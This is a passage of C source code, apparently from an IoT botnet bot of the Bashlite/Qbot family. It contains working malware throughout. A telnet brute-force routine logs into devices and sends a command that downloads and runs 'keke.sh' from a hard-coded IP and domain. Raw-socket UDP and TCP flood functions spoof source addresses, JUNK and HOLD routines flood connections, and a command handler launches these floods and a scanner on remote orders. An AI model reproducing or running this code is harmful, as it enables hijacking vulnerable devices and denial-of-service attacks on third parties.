  891.                         fds[i].bufUsed = strlen(fds[i].sockbuf);
  892.                     }
  893.  
  894.                     if(fds[i].totalTimeout + 30 < time(NULL))
  895.                     {
  896.                         sclose(fds[i].fd);
  897.                         fds[i].state = 0;
  898.                         fds[i].complete = 1;
  899.                     }
  900.                 }
  901.                 break;
  902.  
  903.             case 3:
  904.                 {
  905.                     if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  906.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  907.                     fds[i].state = 4;
  908.                 }
  909.                 break;
  910.  
  911.             case 4:
  912.                 {
  913.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  914.  
  915.                     if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  916.                     {
  917.                         fds[i].totalTimeout = 0;
  918.                         fds[i].bufUsed = 0;
  919.                         if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  920.                         else fds[i].state = 7;
  921.                         memset(fds[i].sockbuf, 0, 1024);
  922.                         continue;
  923.                     } else {
  924.                         if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  925.                         fds[i].bufUsed = strlen(fds[i].sockbuf);
  926.                     }
  927.  
  928.                     if(fds[i].totalTimeout + 30 < time(NULL))
  929.                     {
  930.                         sclose(fds[i].fd);
  931.                         fds[i].state = 0;
  932.                         fds[i].complete = 1;
  933.                     }
  934.                 }
  935.                 break;
  936.  
  937.             case 5:
  938.                 {
  939.                     if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  940.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  941.                     fds[i].state = 6;
  942.                 }
  943.                 break;
  944.  
  945.             case 6:
  946.                 {
  947.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  948.  
  949.                     if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  950.                     {
  951.                         fds[i].totalTimeout = 0;
  952.                         fds[i].bufUsed = 0;
  953.                         if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  954.                         if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  955.                         else fds[i].state = 7;
  956.                         memset(fds[i].sockbuf, 0, 1024);
  957.                         continue;
  958.                     } else {
  959.                         fds[i].bufUsed = strlen(fds[i].sockbuf);
  960.                     }
  961.  
  962.                     if(fds[i].totalTimeout + 30 < time(NULL))
  963.                     {
  964.                         sclose(fds[i].fd);
  965.                         fds[i].state = 0;
  966.                         fds[i].complete = 1;
  967.                     }
  968.                 }
  969.                 break;
  970.  
  971.             case 7:
  972.                 {
  973.                     if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  974.                     fds[i].state = 8;
  975.                 }
  976.                 break;
  977.            
  978.             case 8:
  979.                 {
  980.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  981.                    
  982.                     if(send(fds[i].fd, "cd /tmp; rm -rf *.sh; wget -q http://198.12.97.86/keke.sh; sh keke.sh; busybox tftp -r keke.sh -g adsad.osetec.net; sh keke.sh\r\n;", 129, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; }
  983.                    
  984.                     if(fds[i].totalTimeout + 45 < time(NULL))
  985.                     {
  986.                         sclose(fds[i].fd);
  987.                         fds[i].state = 0;
  988.                         fds[i].complete = 1;
  989.                     }
  990.                 }
  991.                 break;
  992.             }
  993.         }
  994.     }
  995. }
  996.  
  997. //          ___  ___     ___ _                 _
  998. //  /\ /\  /   \/ _ \   / __\ | ___   ___   __| |
  999. // / / \ \/ /\ / /_)/  / _\ | |/ _ \ / _ \ / _` |
  1000. // \ \_/ / /_// ___/  / /   | | (_) | (_) | (_| |
  1001. //  \___/___,'\/      \/    |_|\___/ \___/ \__,_|
  1002.  
  1003. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1004. {
  1005.     struct sockaddr_in dest_addr;
  1006.  
  1007.     dest_addr.sin_family = AF_INET;
  1008.     if(port == 0) dest_addr.sin_port = rand_cmwc();
  1009.     else dest_addr.sin_port = htons(port);
  1010.     if(getHost(target, &dest_addr.sin_addr)) return;
  1011.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1012.  
  1013.     register unsigned int pollRegister;
  1014.     pollRegister = pollinterval;
  1015.  
  1016.     if(spoofit == 32)
  1017.     {
  1018.         int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1019.         if(!sockfd)
  1020.         {
  1021.             sockprintf(mainCommSock, "Failed opening raw socket.");
  1022.             return;
  1023.         }
  1024.  
  1025.         unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1026.         if(buf == NULL) return;
  1027.         memset(buf, 0, packetsize + 1);
  1028.         makeRandomStr(buf, packetsize);
  1029.  
  1030.         int end = time(NULL) + timeEnd;
  1031.         register unsigned int i = 0;
  1032.         while(1)
  1033.         {
  1034.             sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1035.  
  1036.             if(i == pollRegister)
  1037.             {
  1038.                 if(port == 0) dest_addr.sin_port = rand_cmwc();
  1039.                 if(time(NULL) > end) break;
  1040.                 i = 0;
  1041.                 continue;
  1042.             }
  1043.             i++;
  1044.         }
  1045.     } else {
  1046.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1047.         if(!sockfd)
  1048.         {
  1049.             sockprintf(mainCommSock, "Failed opening raw socket.");
  1050.             return;
  1051.         }
  1052.  
  1053.         int tmp = 1;
  1054.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1055.         {
  1056.             sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1057.             return;
  1058.         }
  1059.  
  1060.         int counter = 50;
  1061.         while(counter--)
  1062.         {
  1063.             srand(time(NULL) ^ rand_cmwc());
  1064.             init_rand(rand());
  1065.         }
  1066.  
  1067.         in_addr_t netmask;
  1068.  
  1069.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1070.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1071.  
  1072.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1073.         struct iphdr *iph = (struct iphdr *)packet;
  1074.         struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1075.  
  1076.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1077.  
  1078.         udph->len = htons(sizeof(struct udphdr) + packetsize);
  1079.         udph->source = rand_cmwc();
  1080.         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1081.         udph->check = 0;
  1082.  
  1083.         makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1084.  
  1085.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1086.  
  1087.         int end = time(NULL) + timeEnd;
  1088.         register unsigned int i = 0;
  1089.         while(1)
  1090.         {
  1091.             sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1092.  
  1093.             udph->source = rand_cmwc();
  1094.             udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1095.             iph->id = rand_cmwc();
  1096.             iph->saddr = htonl( getRandomIP(netmask) );
  1097.             iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1098.  
  1099.             if(i == pollRegister)
  1100.             {
  1101.                 if(time(NULL) > end) break;
  1102.                 i = 0;
  1103.                 continue;
  1104.             }
  1105.             i++;
  1106.         }
  1107.     }
  1108. }
  1109.  
  1110. //  _____  ___   ___     ___ _                 _
  1111. // /__   \/ __\ / _ \   / __\ | ___   ___   __| |
  1112. //   / /\/ /   / /_)/  / _\ | |/ _ \ / _ \ / _` |
  1113. //  / / / /___/ ___/  / /   | | (_) | (_) | (_| |
  1114. //  \/  \____/\/      \/    |_|\___/ \___/ \__,_|
  1115.  
  1116. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1117. {
  1118.     register unsigned int pollRegister;
  1119.     pollRegister = pollinterval;
  1120.  
  1121.     struct sockaddr_in dest_addr;
  1122.  
  1123.     dest_addr.sin_family = AF_INET;
  1124.     if(port == 0) dest_addr.sin_port = rand_cmwc();
  1125.     else dest_addr.sin_port = htons(port);
  1126.     if(getHost(target, &dest_addr.sin_addr)) return;
  1127.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1128.  
  1129.     int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1130.     if(!sockfd)
  1131.     {
  1132.         sockprintf(mainCommSock, "Failed opening raw socket.");
  1133.         return;
  1134.     }
  1135.  
  1136.     int tmp = 1;
  1137.     if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1138.     {
  1139.         sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1140.         return;
  1141.     }
  1142.  
  1143.     in_addr_t netmask;
  1144.  
  1145.     if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1146.     else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1147.  
  1148.     unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1149.     struct iphdr *iph = (struct iphdr *)packet;
  1150.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1151.  
  1152.     makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1153.  
  1154.     tcph->source = rand_cmwc();
  1155.     tcph->seq = rand_cmwc();
  1156.     tcph->ack_seq = 0;
  1157.     tcph->doff = 5;
  1158.  
  1159.     if(!strcmp(flags, "all"))
  1160.     {
  1161.         tcph->syn = 1;
  1162.         tcph->rst = 1;
  1163.         tcph->fin = 1;
  1164.         tcph->ack = 1;
  1165.         tcph->psh = 1;
  1166.     } else {
  1167.         unsigned char *pch = strtok(flags, ",");
  1168.         while(pch)
  1169.         {
  1170.             if(!strcmp(pch,         "syn"))
  1171.             {
  1172.                 tcph->syn = 1;
  1173.             } else if(!strcmp(pch,  "rst"))
  1174.             {
  1175.                 tcph->rst = 1;
  1176.             } else if(!strcmp(pch,  "fin"))
  1177.             {
  1178.                 tcph->fin = 1;
  1179.             } else if(!strcmp(pch,  "ack"))
  1180.             {
  1181.                 tcph->ack = 1;
  1182.             } else if(!strcmp(pch,  "psh"))
  1183.             {
  1184.                 tcph->psh = 1;
  1185.             } else {
  1186.                 sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1187.             }
  1188.             pch = strtok(NULL, ",");
  1189.         }
  1190.     }
  1191.  
  1192.     tcph->window = rand_cmwc();
  1193.     tcph->check = 0;
  1194.     tcph->urg_ptr = 0;
  1195.     tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1196.     tcph->check = tcpcsum(iph, tcph);
  1197.  
  1198.     iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1199.  
  1200.     int end = time(NULL) + timeEnd;
  1201.     register unsigned int i = 0;
  1202.     while(1)
  1203.     {
  1204.         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1205.  
  1206.         iph->saddr = htonl( getRandomIP(netmask) );
  1207.         iph->id = rand_cmwc();
  1208.         tcph->seq = rand_cmwc();
  1209.         tcph->source = rand_cmwc();
  1210.         tcph->check = 0;
  1211.         tcph->check = tcpcsum(iph, tcph);
  1212.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1213.  
  1214.         if(i == pollRegister)
  1215.         {
  1216.             if(time(NULL) > end) break;
  1217.             i = 0;
  1218.             continue;
  1219.         }
  1220.         i++;
  1221.     }
  1222. }
  1223.  
  1224.  
  1225. //   __             __          ___ _                 _
  1226. //   \ \  /\ /\  /\ \ \/\ /\   / __\ | ___   ___   __| |
  1227. //    \ \/ / \ \/  \/ / //_/  / _\ | |/ _ \ / _ \ / _` |
  1228. // /\_/ /\ \_/ / /\  / __ \  / /   | | (_) | (_) | (_| |
  1229. // \___/  \___/\_\ \/\/  \/  \/    |_|\___/ \___/ \__,_|
  1230.  
  1231. void sendJUNK(unsigned char *ip, int port, int end_time)
  1232. {
  1233.  
  1234.     int max = getdtablesize() / 2, i;
  1235.  
  1236.     struct sockaddr_in dest_addr;
  1237.     dest_addr.sin_family = AF_INET;
  1238.     dest_addr.sin_port = htons(port);
  1239.     if(getHost(ip, &dest_addr.sin_addr)) return;
  1240.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1241.  
  1242.     struct state_t
  1243.     {
  1244.         int fd;
  1245.         uint8_t state;
  1246.     } fds[max];
  1247.     memset(fds, 0, max * (sizeof(int) + 1));
  1248.  
  1249.     fd_set myset;
  1250.     struct timeval tv;
  1251.     socklen_t lon;
  1252.     int valopt, res;
  1253.  
  1254.     unsigned char *watwat = malloc(1024);
  1255.     memset(watwat, 0, 1024);
  1256.  
  1257.     int end = time(NULL) + end_time;
  1258.     while(end > time(NULL))
  1259.     {
  1260.         for(i = 0; i < max; i++)
  1261.         {
  1262.             switch(fds[i].state)
  1263.             {
  1264.             case 0:
  1265.                 {
  1266.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1267.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1268.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1269.                     else fds[i].state = 1;
  1270.                 }
  1271.                 break;
  1272.  
  1273.             case 1:
  1274.                 {
  1275.                     FD_ZERO(&myset);
  1276.                     FD_SET(fds[i].fd, &myset);
  1277.                     tv.tv_sec = 0;
  1278.                     tv.tv_usec = 10000;
  1279.                     res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1280.                     if(res == 1)
  1281.                     {
  1282.                         lon = sizeof(int);
  1283.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1284.                         if(valopt)
  1285.                         {
  1286.                             close(fds[i].fd);
  1287.                             fds[i].state = 0;
  1288.                         } else {
  1289.                             fds[i].state = 2;
  1290.                         }
  1291.                     } else if(res == -1)
  1292.                     {
  1293.                         close(fds[i].fd);
  1294.                         fds[i].state = 0;
  1295.                     }
  1296.                 }
  1297.                 break;
  1298.  
  1299.             case 2:
  1300.                 {
  1301.                     //nonblocking sweg
  1302.                     makeRandomStr(watwat, 1024);
  1303.                     if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  1304.                     {
  1305.                         close(fds[i].fd);
  1306.                         fds[i].state = 0;
  1307.                     }
  1308.                 }
  1309.                 break;
  1310.             }
  1311.         }
  1312.     }
  1313. }
  1314.  
  1315. //              _     _     ___ _                 _
  1316. //   /\  /\___ | | __| |   / __\ | ___   ___   __| |
  1317. //  / /_/ / _ \| |/ _` |  / _\ | |/ _ \ / _ \ / _` |
  1318. // / __  / (_) | | (_| | / /   | | (_) | (_) | (_| |
  1319. // \/ /_/ \___/|_|\__,_| \/    |_|\___/ \___/ \__,_|
  1320.  
  1321. void sendHOLD(unsigned char *ip, int port, int end_time)
  1322. {
  1323.  
  1324.     int max = getdtablesize() / 2, i;
  1325.  
  1326.     struct sockaddr_in dest_addr;
  1327.     dest_addr.sin_family = AF_INET;
  1328.     dest_addr.sin_port = htons(port);
  1329.     if(getHost(ip, &dest_addr.sin_addr)) return;
  1330.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1331.  
  1332.     struct state_t
  1333.     {
  1334.         int fd;
  1335.         uint8_t state;
  1336.     } fds[max];
  1337.     memset(fds, 0, max * (sizeof(int) + 1));
  1338.  
  1339.     fd_set myset;
  1340.     struct timeval tv;
  1341.     socklen_t lon;
  1342.     int valopt, res;
  1343.  
  1344.     unsigned char *watwat = malloc(1024);
  1345.     memset(watwat, 0, 1024);
  1346.  
  1347.     int end = time(NULL) + end_time;
  1348.     while(end > time(NULL))
  1349.     {
  1350.         for(i = 0; i < max; i++)
  1351.         {
  1352.             switch(fds[i].state)
  1353.             {
  1354.             case 0:
  1355.                 {
  1356.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1357.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1358.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1359.                     else fds[i].state = 1;
  1360.                 }
  1361.                 break;
  1362.  
  1363.             case 1:
  1364.                 {
  1365.                     FD_ZERO(&myset);
  1366.                     FD_SET(fds[i].fd, &myset);
  1367.                     tv.tv_sec = 0;
  1368.                     tv.tv_usec = 10000;
  1369.                     res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1370.                     if(res == 1)
  1371.                     {
  1372.                         lon = sizeof(int);
  1373.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1374.                         if(valopt)
  1375.                         {
  1376.                             close(fds[i].fd);
  1377.                             fds[i].state = 0;
  1378.                         } else {
  1379.                             fds[i].state = 2;
  1380.                         }
  1381.                     } else if(res == -1)
  1382.                     {
  1383.                         close(fds[i].fd);
  1384.                         fds[i].state = 0;
  1385.                     }
  1386.                 }
  1387.                 break;
  1388.  
  1389.             case 2:
  1390.                 {
  1391.                     FD_ZERO(&myset);
  1392.                     FD_SET(fds[i].fd, &myset);
  1393.                     tv.tv_sec = 0;
  1394.                     tv.tv_usec = 10000;
  1395.                     res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  1396.                     if(res != 0)
  1397.                     {
  1398.                         close(fds[i].fd);
  1399.                         fds[i].state = 0;
  1400.                     }
  1401.                 }
  1402.                 break;
  1403.             }
  1404.         }
  1405.     }
  1406. }
  1407.  
  1408. //  __                _     __                _ _
  1409. // / _\ ___ _ __   __| |   /__\ __ ___   __ _(_) |
  1410. // \ \ / _ \ '_ \ / _` |  /_\| '_ ` _ \ / _` | | |
  1411. // _\ \  __/ | | | (_| | //__| | | | | | (_| | | |
  1412. // \__/\___|_| |_|\__,_| \__/|_| |_| |_|\__,_|_|_|
  1413.  
  1414. /*
  1415. void sendEmail(unsigned char *email, unsigned char *host, unsigned char *subject, unsigned char *message)
  1416. {
  1417.         unsigned char buffer[1024];
  1418.         memset(buffer, 0, 1024);
  1419.         int fd = socket(AF_INET, SOCK_STREAM, 0);
  1420.         if(!connectTimeout(fd, host, 25, 30)) { close(fd); return; }
  1421.         if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1422.         if(strstr(buffer, "220 ") == NULL) { close(fd); return; }
  1423.         if(send(fd, "HELO rastrent.com\r\n", 19, MSG_NOSIGNAL) != 19) { close(fd); return; }
  1424.         if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1425.         if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  1426.         memset(buffer, 0, 1024);
  1427.         if(send(fd, "MAIL FROM: <mrras@rastrent.com>\r\n", 33, MSG_NOSIGNAL) != 33) { close(fd); return; }
  1428.         if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1429.         if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  1430.         memset(buffer, 0, 1024);
  1431.         if(send(fd, "RCPT TO: <", 10, MSG_NOSIGNAL) != 10) { close(fd); return; }
  1432.         if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
  1433.         if(send(fd, ">\r\n", 3, MSG_NOSIGNAL) != 3) { close(fd); return; }
  1434.         if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1435.         if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  1436.         memset(buffer, 0, 1024);
  1437.         if(send(fd, "DATA\r\n", 6, MSG_NOSIGNAL) != 6) { close(fd); return; }
  1438.         if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1439.         if(strstr(buffer, "354 ") == NULL) { close(fd); return; }
  1440.         memset(buffer, 0, 1024);
  1441.         if(send(fd, "To: ", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
  1442.         if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
  1443.         if(send(fd, "\r\nFrom: mrras@rastrent.com\r\nSubject: ", 38, MSG_NOSIGNAL) != 38) { close(fd); return; }
  1444.         if(send(fd, subject, strlen(subject), MSG_NOSIGNAL) != strlen(subject)) { close(fd); return; }
  1445.         if(send(fd, "\r\n\r\n", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
  1446.         if(send(fd, message, strlen(message), MSG_NOSIGNAL) != strlen(message)) { close(fd); return; }
  1447.         if(send(fd, "\r\n.\r\n", 5, MSG_NOSIGNAL) != 5) { close(fd); return; }
  1448.         if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1449.         if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  1450.         memset(buffer, 0, 1024);
  1451.         send(fd, "QUIT\r\n", 6, MSG_NOSIGNAL);
  1452.         close(fd);
  1453.         return;
  1454. }
  1455. */
  1456.  
  1457. //   _____  __    ___                _
  1458. //   \_   \/__\  / __\   /\/\   __ _(_)_ __
  1459. //    / /\/ \// / /     /    \ / _` | | '_ \
  1460. // /\/ /_/ _  \/ /___  / /\/\ \ (_| | | | | |
  1461. // \____/\/ \_/\____/  \/    \/\__,_|_|_| |_|
  1462.  
  1463. void processCmd(int argc, unsigned char *argv[])
  1464. {
  1465.     if(!strcmp(argv[0], "PING"))
  1466.     {
  1467.         sockprintf(mainCommSock, "PONG!");
  1468.         return;
  1469.     }
  1470.  
  1471.     if(!strcmp(argv[0], "GETLOCALIP"))
  1472.     {
  1473.         sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1474.         return;
  1475.     }
  1476.  
  1477.     if(!strcmp(argv[0], "SCANNER"))
  1478.     {
  1479.         if(argc != 2)
  1480.         {
  1481.             sockprintf(mainCommSock, "SCANNER ON | OFF");
  1482.             return;
  1483.         }
  1484.  
  1485.         if(!strcmp(argv[1], "OFF"))
  1486.         {
  1487.             if(scanPid == 0) return;
  1488.  
  1489.             kill(scanPid, 9);
  1490.             scanPid = 0;
  1491.         }
  1492.  
  1493.         if(!strcmp(argv[1], "ON"))
  1494.         {
  1495.             if(scanPid != 0) return;
  1496.             uint32_t parent;
  1497.             parent = fork();
  1498.             if (parent > 0) { scanPid = parent; return;}
  1499.             else if(parent == -1) return;
  1500.  
  1501.             StartTheLelz();
  1502.             _exit(0);
  1503.         }
  1504.     }
  1505.  
  1506.     /*
  1507.         if(!strcmp(argv[0], "EMAIL"))
  1508.         {
  1509.                 if(argc < 5)
  1510.                 {
  1511.                         //sockprintf(mainCommSock, "EMAIL <target email> <mx host> <subject no spaces> <message no spaces>");
  1512.                         return;
  1513.                 }
  1514.                 unsigned char *target = argv[1];
  1515.                 unsigned char *host = argv[2];
  1516.                 unsigned char *subject = argv[3];
  1517.                 unsigned char *message = argv[4];
  1518.                 if (listFork()) { return; }
  1519.                 sendEmail(target, host, subject, message);
  1520.                 close(mainCommSock);
  1521.                 _exit(0);
  1522.         }
  1523. */
  1524.  
  1525.     if(!strcmp(argv[0], "HOLD"))
  1526.     {
  1527.         if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1528.         {
  1529.             //sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
  1530.             return;
  1531.         }
  1532.  
  1533.         unsigned char *ip = argv[1];
  1534.         int port = atoi(argv[2]);
  1535.         int time = atoi(argv[3]);
  1536.  
  1537.         if(strstr(ip, ",") != NULL)
  1538.         {
  1539.             sockprintf(mainCommSock, "HOLD Flooding %s:%d for %d seconds.", ip, port, time);
  1540.             unsigned char *hi = strtok(ip, ",");
  1541.             while(hi != NULL)
  1542.             {
  1543.                 if(!listFork())
  1544.                 {
  1545.                     sendHOLD(hi, port, time);
  1546.                     close(mainCommSock);
  1547.                     _exit(0);
  1548.                 }
  1549.                 hi = strtok(NULL, ",");
  1550.             }
  1551.         } else {
  1552.             if (listFork()) { return; }
  1553.  
  1554.             sockprintf(mainCommSock, "HOLD Flooding %s:%d for %d seconds.", ip, port, time);
  1555.             sendHOLD(ip, port, time);
  1556.             close(mainCommSock);
  1557.  
  1558.             _exit(0);
  1559.         }
  1560.     }
  1561.  
  1562.     if(!strcmp(argv[0], "JUNK"))
  1563.     {
  1564.         if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1565.         {
  1566.             //sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
  1567.             return;
  1568.         }
  1569.  
  1570.         unsigned char *ip = argv[1];
  1571.         int port = atoi(argv[2]);
  1572.         int time = atoi(argv[3]);
  1573.  
  1574.         if(strstr(ip, ",") != NULL)
  1575.         {
  1576.             sockprintf(mainCommSock, "JUNK Flooding %s:%d for %d seconds.", ip, port, time);
  1577.             unsigned char *hi = strtok(ip, ",");
  1578.             while(hi != NULL)
  1579.             {
  1580.                 if(!listFork())
  1581.                 {
  1582.                     sendJUNK(hi, port, time);
  1583.                     close(mainCommSock);
  1584.                     _exit(0);
  1585.                 }
  1586.                 hi = strtok(NULL, ",");
  1587.             }
  1588.         } else {
  1589.             if (listFork()) { return; }
  1590.  
  1591.             sockprintf(mainCommSock, "JUNK Flooding %s:%d for %d seconds.", ip, port, time);
  1592.             sendJUNK(ip, port, time);
  1593.             close(mainCommSock);
  1594.  
  1595.             _exit(0);
  1596.         }
  1597.     }
  1598.  
  1599.     if(!strcmp(argv[0], "UDP"))
  1600.     {
  1601.         if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1602.         {
  1603.             //sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
  1604.             return;
  1605.         }
  1606.  
  1607.         unsigned char *ip = argv[1];
  1608.         int port = atoi(argv[2]);
  1609.         int time = atoi(argv[3]);
  1610.         int spoofed = atoi(argv[4]);
  1611.         int packetsize = atoi(argv[5]);
  1612.         int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  1613.  
  1614.         if(strstr(ip, ",") != NULL)
  1615.         {
  1616.             sockprintf(mainCommSock, "UDP Flooding %s for %d seconds.", ip, time);
  1617.             unsigned char *hi = strtok(ip, ",");
  1618.             while(hi != NULL)
  1619.             {
  1620.                 if(!listFork())
  1621.                 {
  1622.                     sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  1623.                     close(mainCommSock);
  1624.                     _exit(0);
  1625.                 }
  1626.                 hi = strtok(NULL, ",");
  1627.             }
  1628.         } else {
  1629.             if (listFork()) { return; }
  1630.  
  1631.             sockprintf(mainCommSock, "UDP Flooding %s:%d for %d seconds.", ip, port, time);
  1632.             sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  1633.             close(mainCommSock);
  1634.  
  1635.             _exit(0);
  1636.         }
  1637.     }
  1638.  
  1639.     if(!strcmp(argv[0], "TCP"))
  1640.     {
  1641.         if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  1642.         {
  1643.             //sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  1644.             return;
  1645.         }
  1646.  
  1647.         unsigned char *ip = argv[1];
  1648.         int port = atoi(argv[2]);
  1649.         int time = atoi(argv[3]);
  1650.         int spoofed = atoi(argv[4]);
  1651.         unsigned char *flags = argv[5];
  1652.  
  1653.         int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  1654.         int psize = argc > 6 ? atoi(argv[6]) : 0;
  1655.  
  1656.         if(strstr(ip, ",") != NULL)
  1657.         {
  1658.             sockprintf(mainCommSock, "TCP Flooding %s for %d seconds.", ip, time);
  1659.             unsigned char *hi = strtok(ip, ",");
  1660.             while(hi != NULL)
  1661.             {
  1662.                 if(!listFork())
  1663.                 {
